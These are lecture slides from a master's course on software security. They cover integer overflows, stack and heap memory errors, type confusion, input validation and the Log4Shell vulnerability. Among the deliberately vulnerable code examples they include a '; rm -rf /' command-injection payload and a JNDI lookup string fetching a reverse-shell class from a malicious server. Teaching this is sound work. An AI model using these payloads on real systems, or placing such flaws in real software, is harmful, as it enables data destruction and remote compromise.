

UE SCLAM

Sécurité Logicielle

Lecture 3: Programming languages (un)-security

Software vulnerability examples

Master M2 Cybersécurité et Informatique Légale

Academic Year 2025 - 2026

Reminder

So far, we saw that:

- ▶ Unsecure softwares are (almost) everywhere ...
- ▶ Programming languages (quite) often contribute to produce unsecure software:
 - ▶ misleading syntactic constructions
 - ▶ weak typing constraints, lack of **type safety**
 - ▶ undefined behaviors, unexpected side-effects, lack of **memory safety**
 - ▶ etc.

⇒ **“source-level understanding” $\neq$ actual code behaviour**

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But:

- ▶ how language weaknesses can be **exploited** at runtime ?
- ▶ what are typical intruder objective ?
- ▶ how can he/she operate ?

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- ▶ what are typical intruder objective ?
- ▶ how can he/she operate ?

⇒ Let's consider concrete **vulnerability examples** to answer ...

Outline



The intruder

Arithmetic overflows and type conversions

Stack-based vulnerabilities

Heap based vulnerabilities

Type confusion vulnerabilities

Input validation

The “software security” intruder

Intruder objectives

What can be expected when running an unsecure code ?

¹ **other intruder models may also be considered ... see later !**

² not always a valid assumption !

The “software security” intruder

Intruder objectives

What can be expected when running an unsecure code ?

- ▶ break a CIA property, e.g.,
 - read confidential data ; modify sensible data ;
 - get privileged accesses ; execute code of his own, etc.
- ▶ break application availability (Denial of Service), e.g., “hang up” a server
- ▶ (silently) hide/inject a malware (Non Repudiation)
- ▶ etc.

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Intruder model

How can operate an intruder when running an unsecure code ?

As an external agent¹ : control program inputs & execution environment

Examples:

- ▶ **fully control** the keyboard, the network, the input files content, etc.
- ▶ **partially control** env. variables, file system, other process/threads
- ▶ **knows** the code; but cannot **modify** it², nor break cryptography, etc.

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How to “break” a software security as a **regular user** ?

↪ exploit (a combination of) several issues in the code ...

Overconfidence in the user inputs

lack of (deep) **defensive programming** techniques, e.g.

*User data must **always** be checked & sanitized **before** being processed*

Examples: command injection, SQL injection, ...

Programming language weaknesses

lack of type safety and memory safety may affect **control-flow** and **data-flow integrity**

Example: a non valid memory access may change a **return address** or disclose a **password** ...

Possible side-channels

(see in a few weeks)

etc.

(back to) Software vulnerabilities

An **exploitable “bug”**, breaking some **security property**, w.r.t an **intruder model**

∃ several vulnerability taxonomies

(see <https://cwe.mitre.org/about/sources.html>)

Possible classification criteria:

- ▶ **unintended** (bug) vs **intentional** vulnerabilities (Trojan horse, backdoors, etc.)
- ▶ specification/source/binary level vulnerability
- ▶ location: application/operating system/hardware level
- ▶ etc.
- ∃ some international databases to record known software vulnerabilities
 - ▶ Common Weaknesses Enumeration (CWE)
classification of general known weaknesses
 - ▶ Common Vulnerability Exposure (CVE)
exhaustive³ list of know vulnerability (for a given software)
- ∃ several **secure coding standart**
(w.r.t the programming language, application domain, intruder model, etc.)

Ex.: SEI CERT secure coding, MISRA, OWASP, etc.

³apart 0-days !

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Example 1: arithmetic integer overflows & conversions

Arithmetic overflows

- ▶ signed integers: $[-2^{n-1}, 2^{n-1} - 1]$; unsigned integers: $[0, 2^n - 1]$
- ▶ in case of arithmetic overflow/underflow
 - ▶ Java: **wrap-around** (**exception** with Java 8 “exact arithmetic”)
 - ▶ C, C++ : wrap-round if unsigned, **undefined** if signed
 - ▶ Python: **no overflow** (unbounded integers), what about **decimals**?

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Type conversions

signed $\leftrightarrow$ unsigned ; narrow $\leftrightarrow$ large representation

- ▶ either forbidden, or explicitly / **implicitly** authorized ...
- ▶ $\rightsquigarrow$ well-defined vs (unspecified/undefined/implementation defined) behavior
- ▶ C:

very <u>tricky rules</u> !

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Example: in C if $x+y$ overflows then

- ▶ “undefined behaviour” if signed, wrap-around if unsigned ...
- ▶ ... and if x signed and y unsigned ???

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- ▶ ... and if x signed and y unsigned ???

wrap-around + undefined behavior + implicit conversions = a dangerous cocktail!

See rules 4 and 5 of the CERT Secure Coding Standard

Application to control-flow hijacking

```
unsigned int x ; // 32-bits unsigned integer
read (x) ;
if (x+1<10) {
// assume x < 9
// allocate x resources ...
} else {
    // assume x >= 9
}
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→ the “then” branch can be taken with $x = 2^{n-1}$...

```
signed int x=-1 ;           // 32-bits signed integer
unsigned int y=1;           // 32-bits unsigned integer
if (x<y) {
    ...
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    // this should never happen ...
    ...
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```

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→ the “else” branch is always taken !
(-1 being converted into a large **unsigned** value ...)

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Example 2: stack-based buffer overflows

'Smashing the stack for fun and profit' (Aleph One- 1996), HeartBleed (2015), current CVEs ...

A historic (but still effective) way to drastically change a pgm control-flow ...

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A historic (but still effective) way to drastically change a pgm control-flow ...

Memory organization at runtime

- ▶ 3 main memory zones
 - the code, the stack and the heap
- ▶ heap : dynamic memory allocations
- ▶ stack : function/procedures (dynamic) memory management
 - local variables + parameters + temporaries + ...
 - + **return addresses**

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
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A “simple” recipe for cooking a buffer overflow exploit

1. find a pgm crash due to a **controlable** buffer overflow
2. fill the buffer s.t. the return address is overwritten with the **address of a function you want to execute** (e.g., a **shell command**)

Stack layout for the x86 32-bits architecture



Application to control-flow hijacking (1)

```
void main (int argc, char *argv[])
{
    char t;
    char t1[128] ;
    int i;
    t = 0;
    for (i=0;i<argc;i++)
        t1[i]=42;
    printf("the value of t is: %d \n", t);
    ...
}
```

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Depending on the user-controlled value of `argc`:

- ▶ normal behavior (no overflow)
- ▶ **crash** (access to a non valid stack address)
- ▶ no runtime error but prints **42** as the value of `t` ...

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Rks: the results obtained may depend on the compiler ...

- ▶ ordering of the local variables in the stack
- ▶ buffer overflow protections enabled/disabled by default
(e.g., `gcc -fstack-protector ...` **[more details later!]**)

Application to control-flow hijacking (2)

```
int f ()
{
    char x[256];
    char t1[8] ;
    int i;
    scanf("%s", x) ; // read a string into x
    strcpy (t1, x) ; // copy buffer x into buffer t1
    return 0 ;
}

int main {
    ...
    f() ;
    ...
}
```

Application to control-flow hijacking (2)

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    return 0 ;
}

int main {
    ...
    f() ;
    ...
}
```

The `strcpy` function does not check for overflows

⇒

- ▶ the return address in the stack can be overwritten with a user input
- ▶ program execution can be **fully controlled** by a user ...

see next lectures !

Some variants on the same theme ...

Several stack elements **direct the pgm control-flow**:

- ▶ function return addresses
- ▶ pointers to functions
- ▶ addresses of objects methods (method tables)
- ▶ addresses of exception handlers
- ▶ etc.

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Several stack elements **direct the pgm control-flow**:

- ▶ function return addresses
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- ▶ etc.

All of them might be overwritten by **user-controlled write operations**, e.g.,

- ▶ using a buffer overflow to overwrite these locations
- ▶ overwriting a pointer to the stack
- ▶ overwriting an object
- ▶ etc.

See rules 6, 7 and 8 of CERT C secure coding standard

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What about the heap ?

From the user point of view:

- ▶ a (finite) memory zone for dynamic allocations
 - ▶ OS-level primitives for memory allocation and release
 - ▶ At the language level:
 - ▶ explicit allocation and de-allocation:
ex: C, C++ (`malloc/new` and `free`)
 - ▶ explicit allocation + garbage collection:
ex: Java, Ada (`new`)
 - ▶ implicit allocation + garbage collection:
ex: CAML, JavaScript
- numerous allocation/de-allocation strategies ...

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At runtime, the heap can be viewed as:

- ▶ a set of disjoint memory blocks
- ▶ each block is either allocated or free (not both !)
- ▶ an allocated block contains user data + meta-data
- ▶ meta-data are used to retrieve the underlying heap structure, e.g., block sizes, set(s) of free blocks, etc.

Example of (incorrect) heap memory management

```
void f (int a, int b)
{
    int *p1, *p2, *p3;
    p1 = (int *) malloc ( sizeof (int)); // allocation 1
    *p1 = a;
    p2 = p1;
    if (a > b)
        free (p1);
    p3 = (int *) malloc (sizeof (int)); // allocation 2
    *p3 = b;
    printf ("%d", *p2) ;
}
```

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```

- ▶ what's wrong with this code ?
- ▶ what may happen at runtime ?

Use-after-Free (definition)

Use-after-free on an execution trace

1. a memory block is allocated and assigned to a pointer `p`:

`p = malloc(size)`

2. this bloc is freed later on: `free (p)`

↪ `p` (and all its aliases !) becomes a **dangling** pointer
(it does not point anymore to a **valid** block)

3. `p` (or one of its aliases) is **dereferenced**

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Vulnerable Use-after-Free on an execution trace

`p` points to a **valid block** when it is dereferenced (at step 3)

⇒ possible consequences:

- ▶ information leakage: `s = *p`
- ▶ write a sensible data: `*p = x`
- ▶ arbitrary code execution: `call *p`

Use-after-free (example 1: information leakage)

```
char *login, *passwords;  
login=(char *) malloc(...);  
[...]  
free(login); // login is now a dangling pointer  
[...]  
passwords=(char *) malloc(...);  
    // may re-allocate memory area used by login  
[...]  
printf("%s\n", login) // prints the passwords !
```

Use-after-free (example 2: execution hijacking)

```
typedef struct {  
    void (*f)(void); // pointer to a function  
} st;  
  
int main(int argc, char * argv[])  
{  
    st *p1;  
    char *p2;  
    p1=(st*)malloc(sizeof(st));  
    free(p1); // p1 is now a dangling pointer  
    p2=malloc(sizeof(int)); // memory area of p1 ?  
    strcpy(p2,argv[1]);  
    p1->f(); // calls any function you want ...  
    return 0;  
}
```

Use-after-Free, a typical heap vulnerability

CWE-416: <https://cwe.mitre.org/data/definitions/416.html>

Main characteristics:

- ▶ occurs when heap memory is explicitly allocated & de-allocated
(garbage collection $\Rightarrow$ no dangling pointers)
- ▶ difficult to detect on the code: 3 distinct events (alloc, free and use)
 $\rightarrow$ need to check long execution paths
- ▶ exploitability depends on how predictable/controllable is the heap content
(allocation strategy, heap spraying)

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In practice:

- ▶ mostly targets web navigators (IE, Firefox, Chrome, etc.)
 - ▶ object language programming
objects $\Rightarrow$ # heap allocation + method tables in the heap
 - ▶ overlap of several heap memory allocators
multi-language applications, custom allocators
- ▶ but other applications impacted as well !

See rule 8 of CERT C secure coding standard

Type confusion example [C++]

```
class Base {}; // Parent Class

class Exec: public Base {    // Child of Base Class
public: virtual void exec(const char *program)
        { system(program); }
};

class Print: public Base {   // Child of Base Class
public: virtual void sayHi(const char *str)
        { cout << str << endl; }
};

int main() {
    Base *b1 = new Print();
    Base *b2 = new Exec();
    Print *g;
    ...
    g = static_cast<Print*>(b1); // safe cast
    g->sayHi("hello world"); // call sayHi() function
    ...
    g = static_cast<Print*>(b2); // unsafe cast
    g->sayHi("/usr/bin/sh"); // call exec() function !
}
```

unsafe Print $\rightarrow$ *upcast* Base $\rightarrow$ *downcast* Exec **conversion**

Type confusion in practice

Yet another type safety violation:

intended type $\neq$ **actual** type

Occurs in some weakly typed compiled languages:

C: no checks when using `union` types

C++:

- ▶ upcast conversions always valid
- ▶ **static** verification of downcast conversion is **NP-complete**
⇒ efficiency vs security trade-off is left to the user:
 - ▶ `reinterpret_cast`: no check
 - ▶ `static_cast`: only partial compile-time checks
 - ▶ `dynamic_cast`: complete run-time checks (performance penalty)

May occur as well in some interpreted languages (Java, JavaScript, ...) ...
... due to **interpreter bugs** !

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Concatening command line arguments [C]

```
int main(int argc, char *argv[])  
{ char name[2048];  
  strcpy(name, argv[1]);  
  strcat(name, " = ");  
  strcat(name, argv[2]); ... }
```

→ what may happen at execution ?

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Listing the content of a directory [PHP]

```
$userName = $_POST["user"];
$command = 'ls -l /home/' . $userName;
system($command);
```

→ how to remove the whole filesystem using this PHP script ?

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→ how to remove the whole filesystem using this PHP script ?

```
; rm -rf /
```

A root cause to many exploits: improper input validation

Invalid/Unexpected program inputs $\rightsquigarrow$ 2 possible **security flaws**:

- ▶ **Buggy parsing & processing**

ex: invalid PDF file $\rightarrow$ buffer overflow $\rightarrow$ arbitrary code execution

input processing attack

Incorrect input $\Rightarrow$ runtime error in the application ...

- ▶ **Flawed forwarding**

ex: invalid web client input $\rightarrow$ SQL query to DB $\rightarrow$ info leakage

input injection attack

Incorrect input $\Rightarrow$ forward an unsecure command to a back-end (database, OS, file system, Web browser, etc.)

Untrusted facilities offered in many languages:

C/C++ (`system`, `execv`, `ShellExecute`, etc.),

Java (`Runtime.exec`), Perl, Python, JavaScript (`eval`), etc.

Why is it a problem ?

and possible solutions ...

- ▶ **numerous complex input formats**

file processing (PDF, Flash, jpeg, etc.), protocols, certificate (x.509)

not always well-documented specification

frequent updates and extensions ...

~> huge attack surface !

- ▶ parsers (too !) often written/updated/corrected **by hand**
(without automated parser generator from well-defined formats)

- ▶ **mix** between parsing / (partial) validation / processing

- ▶ sanitization may be spread along the code

- (beware of “time of check - time of use !)

- ▶ no clear distinction between trusted/sanitized & untrusted data

- ▶ use of low-level input representations: **strings**

→ a single **weakly typed** representation for many $\neq$ data
(URLs, SQL commands, Unix commands, etc.)

etc. ...

A concrete example: Log4shell

CVE-2021-44228

- ▶ disclosed by Apache in December 2021
- ▶ concerns the widely-used `Log4j` java-based logging utility
- ▶ highest severity score (10.0)
exploitable without authentication, leads to Remote Code Execution

How does it work ?

- ▶ `log4j` interprets Java environment variables:
`logger.info("Java version is " + ${java:version}) ;`
- ▶ it accepts JNDI⁴ requests to access **remote resources**
- ▶ allows to **call and execute** a remote resource on victim computer
(remote code exuction, information leakage):
`${jndi:ldap://malicious-server/reverse-shell.class}`

⁴Java Naming Directory and Interface

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- ▶ disclosed by Apache in December 2021
- ▶ concerns the widely-used `Log4j` java-based logging utility
- ▶ highest severity score (10.0)
exploitable without authentication, leads to Remote Code Execution

How does it work ?

- ▶ `log4j` interprets Java environment variables:
`logger.info("Java version is " + ${java:version}) ;`
- ▶ it accepts JNDI⁴ requests to access **remote resources**
- ▶ allows to **call and execute** a remote resource on victim computer
(remote code execution, information leakage):
`${jndi:ldap://malicious-server/reverse-shell.class}`

A powerful attack vector targetting servers, IoT, IIoT, etc.

⇒ Do not pass **untrusted/unsanitized** data to a JNDI lookup method!

⁴Java Naming Directory and Interface

As a (temporary) conclusion

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implicit type conversions, no conformance guarantee between “source types” and “runtime types”
- ▶ no **memory safety**: illegal memory accesses may occur at runtime
→ **spatial** vs **temporal** memory errors
- ▶ undefined behaviors, etc.

→ a long story: “Memory Errors: The Past, the Present, the Future” (V vd Veen et al)

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- ▶ heap vulnerabilities (read/write/exec arbitrary data in the heap)
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“simple” pgm crashes may often be turned on **dangerous exploits** !

Some interesting links

- ▶ Google Zero Project: 0day Exploit Root Cause Analyses
- ▶ From memory corruption to exploits⁵

⁵SoK: External War in Memory (L. Szekeres, M. Payer, T. Wei, D. Song) - 2013 IEEE S&P